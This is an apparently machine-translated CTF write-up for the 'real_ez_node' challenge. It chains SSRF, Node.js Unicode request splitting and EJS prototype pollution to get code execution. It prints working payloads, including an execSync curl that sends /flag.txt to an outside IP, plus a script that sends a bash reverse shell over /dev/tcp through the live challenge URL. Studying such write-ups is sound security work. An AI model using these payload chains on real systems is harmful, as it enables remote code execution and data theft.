NSS [西湖剣理論 2022]real_ez_node

NSS [西湖剣理論 2022]real_ez_node

テストポイント: ejs プロトタイプチェーン汚染と NodeJS の Unicode 文字損傷によって引き起こされる HTTP スプリット攻撃。

トピックを開きます。

画像-20230906165645126

添付ファイルの開始.sh フラグの場所はルート ディレクトリにあります/flag.txt

画像-20230906173223652

app.js (これはあまり役に立ちません)

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
    
    extended: false}));
app.use(cookieParser());
app.use(session({
    
    
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    
    
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
    
    
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
    
    
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
    
    
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {
    
    };

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

/routes/index.js (これは便利です)

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
    
    
  if (req.query.q) {
    
    
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
    
    
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
    
    
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
    
    
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {
    
    };
  for (let index in req.body) {
    
    
      if(!index.includes("__proto__")){
    
    
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    
    
    var q = req.query.q;
    var resp = "";
    if (q) {
    
    
        var url = 'http://localhost:3000/?q=' + q
            try {
    
    
                http.get(url,(res1)=>{
    
    
                    const {
    
     statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
    
    
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${
      
      statusCode}`);
                    }
                    if (error) {
    
    
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => {
    
     rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
    
    
                      try {
    
    
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
    
    
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
    
    
                    res.end(`Got error: ${
      
      e.message}`);
                  })
                res.end('ok');
            } catch (error) {
    
    
                res.end(error+'');
            }
    } else {
    
    
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

コードを簡単に監査したところ、ejs に関連しており、プロトタイプ チェーン汚染を頻繁に引き起こす関数があり、safeobj.expand()受け取っsafeobj.expand()たものがユーザーに渡されるため、これは ejs テンプレート エンジン汚染であると推測しました。

ソース コードをよく見ると、/routes/index.jsファイル内のルーティングでは、/copyローカル (127.0.0.1) とフィルターされた からアクセスする必要があります__proto__

画像-20230906172449592

/routes/index.jsファイル内に/curlSSRF エクスプロイト ポイントがあります。

画像-20230906174152512

このアイデアは、/curlCRLF を使用して POST リクエストをローカル (127.0.0.1) として routing 経由で送信し/copy、ejs を作成してプロトタイプ チェーンを汚染してコードを実行することです。


まず、ejs がプロトタイプ チェーンを汚染します。

原則を参照してください。

EJS、サーバー側テンプレート インジェクション RCE (CVE-2022-29078) - 書き込み | ~#誰だ

JavaScript プロトタイプ チェーン汚染原理と関連する CVE 脆弱性の分析 - FreeBuf ネットワーク セキュリティ産業ポータル

EJS バージョン 3.1.7 未満を使用できます。を確認してくださいpackage.json。バージョンは 3.0.1 で、プロトタイプ チェーン内の RCE を汚染する可能性があります。

画像-20230906223410602

__proto__フィルターをかけ、constructor.prototypeバイパスを使用します。

(实例对象)foo.__proto__ == (类)Foo.prototype

ejs プロトタイプ チェーンによって汚染されたペイロードは次のとおりです (ペイロード テンプレートとみなすことができ、トピックに応じて変更する必要があります)。

{
    
    "__proto__":{
    
    "__proto__":{
    
    "outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

画像-20230906175510104

(これが説明になっているかどうかはわかりませんが、次回はそれにマークを付けてソース コードを勉強します。)let user = {};ユーザーの上の層では、Objectここでは 1 つの汚染で十分であるはずです__proto__ペイロードを次のように変更します。

{
    
    
	"__proto__":{
    
    
		"outputFunctionName":"a=1; return 			global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
	}
}

safeobj モジュールの Expand メソッドは、.分割に従って obj を直接再帰的に書き込みます。これは明らかにプロトタイプ チェーン汚染を引き起こす可能性があります。つまり、{"ab":"123"} を渡すと、値 ab=123 が割り当てられます。

フィルタリングと変更コマンドをバイパスした後、ejs を汚染するペイロードは次のように変換されます。

{
    
    
    "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}

safeobj.expand()基礎となるソース コードを補足して、なぜ{"constructor.prototype.outputFunctionName":このように書かれているのかをより深く理解します。{"constructor": {"prototype": {"outputFunctionName":

expand: function (obj, path, thing) {
    
    
      if (!path || typeof thing === 'undefined') {
    
    
        return;
      }
      obj = isObject(obj) && obj !== null ? obj : {
    
    };
      var props = path.split('.');
      if (props.length === 1) {
    
    
        obj[props.shift()] = thing;
      } else {
    
    
        var prop = props.shift();
        if (!(prop in obj)) {
    
    
          obj[prop] = {
    
    };
        }
        _safe.expand(obj[prop], props.join('.'), thing);
      }
    },

次に、HTTP 応答分割攻撃 (CRLF) があります。

参考記事:
Security Bugs in Practice: SSRF via Request Splitting
NodeJS の Unicode 文字破損による HTTP スプリット攻撃 - Zhihu (zhihu.com)
Nodejs HTTP スプリット攻撃については、[GYCTF2020] から学ぶ Node Game_nssctf nodejs_shutian のブログ - CSDN Blog
[良い記事] HTTP レスポンス分割攻撃 (CRLF インジェクション) の初紹介 - Anquanke - セキュリティ情報プラットフォーム (anquanke.com)

概要:

バージョン条件が nodejs<=8 の場合、Node.js が ( http.getkey 関数) を使用して特定のパスに HTTP リクエストを発行すると、Unicode 文字の破損によって引き起こされる HTTP スプリット攻撃が発生します (Node.js10 で修正されました)。発行されたリクエストは実際には別のパスに送られますが、これはNodeJS のUnicode 文字破損によって引き起こされる HTTP 分割攻撃が原因です。

原理:

Nodejs HTTP ライブラリには、CRLF を防ぐための対策が含まれています。つまり、 URL パスに復帰\r、改行、スペースなどの制御文字を含む HTTP リクエストを発行しようとすると、それらは URL エンコードされるため、通常の CRLF インジェクションは行われません。 \nNodejsでは動作しないので使用できません。それから異常なものを使用してください。

本文が含まれないリクエストの場合、Node.js はデフォルトで「latin1」を使用しますが、これは、大きな番号の Unicode 文字を表現できないシングルバイト エンコード文字セットです。したがって、リクエスト パスにマルチバイト エンコード Unicode 文字が含まれている場合は、の場合、最下位バイトに切り詰められます。たとえば、次のよう\u0130に切り詰められます\u30

画像-20230906214824864

Node.js がv8 或更低版本この URL にリクエストを行うときGET、これらは HTTP 制御文字ではないため、エンコード エスケープは行われません。

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

ただし、結果の文字列が書き込みパスとしてエンコードされる と、これらの文字はそれぞれ(%0d) と(%0a)latin1に切り詰められます。\r\n

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

\u{010D}\u{010A}このような文字列が latin1 としてエンコードされた後\r\n、残りの文字列のみがリクエスト分割 (CRLF) に使用できます。これは異常な CRLF です。

原則を実践してください。元のリクエストデータが以下の場合:

GET / HTTP/1.1
Host: 47.101.57.72:4000
…………

CRLF データを挿入すると、HTTP リクエスト データは次のようになります。

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET HTTP/1.1
Host: 47.101.57.72:4000

したがって、構築できる部分は次のとおりです。

 HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET 

手動で構築するのは面倒なのでスクリプトを使います。

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

話題に戻ります。

docker ファイルを見ると、ノードのバージョンが 8.1.2 (<=8 を満たす) であり、http スプリット攻撃 (CRLF) があることがわかります。

画像-20230906173404566

上記のスクリプトを変更してみましょう。

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') 

print(payload)

パッケージに対して当社が要求する内容に必ずご注意くださいContent-Lengthなぜここに 175 と入力するのでしょうか? 私のPOSTデータの長さは173ですが、POSTには2も含まれており、これは\ntwo に置き換えられる\r\nため、合計の長さに2を追加する必要があります。もちろん、長さがわからない場合は、リクエストを burp に入れることができます。burp 再送信者は、デフォルトで正しいものを自動的に更新しますContent-Length

画像-20230906224612676

画像-20230906225324599

ペイロードを生成してからパッケージを送信します: (一度に送信できない場合は、数回に分けて送信します)

/curl?q=生成的payload URL编码

画像-20230906232011407

画像-20230906232017081

インターネット上には、非常に簡単に使用できる一種のスクリプトもあります。

import requests
import urllib.parse

payloads = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 174

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")


def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payloads = payload_encode(payloads)

print(payloads)
r = requests.get('http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payloads))
print(r.text)

おすすめ

転載: blog.csdn.net/Jayjay___/article/details/132922229